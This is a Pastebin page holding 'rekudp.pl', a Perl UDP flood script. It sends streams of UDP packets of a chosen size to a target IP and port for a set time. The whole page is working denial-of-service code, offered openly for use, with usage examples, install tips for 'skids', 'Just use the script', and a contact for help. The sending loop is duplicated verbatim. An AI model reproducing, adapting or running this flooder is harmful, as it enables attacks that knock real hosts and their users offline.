Advertisement
Guest User

UDP Flood Script | rekudp.pl

a guest
Mar 9th, 2017
3,984
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 1.66 KB | None | 0 0
  1. #!/usr/bin/perl
  2.  
  3. #Improved UDP Flood Script
  4. #
  5. # I found a copy of DgH.pl which took me around to looking at the code
  6. # Turns out the script only sent out a 5-byte attack with the string "flood"
  7. # This script is developed to send the packets you actually want to send
  8. # E.g 5 = "#####" or 10 = "##########"
  9. #
  10. # Usage: perl rekudp.pl IP PORT BYTE TIME
  11. # Example: perl rekudp.pl 1.1.1.1 80 150 500
  12. # (Sends attack to 1.1.1.1 on port 80 with 150 byte for 500 seconds)
  13. #
  14. # Why are you still reading? Just use the script.
  15. #
  16. # For the linux skids:
  17. # CentOS Perl install: yum install perl
  18. # Debian Perl install: apt-get install perl
  19. #
  20. # Note: Please don't get too carried away with the byte's
  21. # It may cause failure in the UDP Flood (Recommended max: 40000)
  22. #
  23. # Need any help? Kik: Rekkeh
  24. #
  25.  
  26. use Socket;
  27.  
  28. my ($ip,$port,$size,$time) = @ARGV;
  29. my ($iaddr,$endtime,$psize,$pport);
  30. my $packetstring = '#' x $size;
  31. $iaddr = inet_aton("$ip") or die "Invalid IP\n";
  32. $endtime = time() + ($time ? $time : 100);
  33. socket(flood, PF_INET, SOCK_DGRAM, 17);
  34.  
  35. print "UDP Flood Script developed by Rekkeh\n";
  36. print "Sent attack to $ip " . ($port ? $port : "random") . " with " .
  37. ($size ? "$size-byte" : "that good-good") . " " .
  38. ($time ? "for $time seconds" : "") . "\n";
  39.  
  40. for (;time() <= $endtime;) {
  41. $psize = $size ? $size : int(rand(1024-64)+64) ;
  42. $pport = $port ? $port : int(rand(65500))+1;
  43.  
  44. send(flood, pack("a$psize",$packetstring), 0, pack_sockaddr_in($pport,$iaddr));}for (;time() <= $endtime;) {
  45. $psize = $size ? $size : int(rand(1024-64)+64) ;
  46. $pport = $port ? $port : int(rand(65500))+1;
  47.  
  48. send(flood, pack("a$psize",$packetstring), 0, pack_sockaddr_in($pport,
  49. $iaddr));}
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement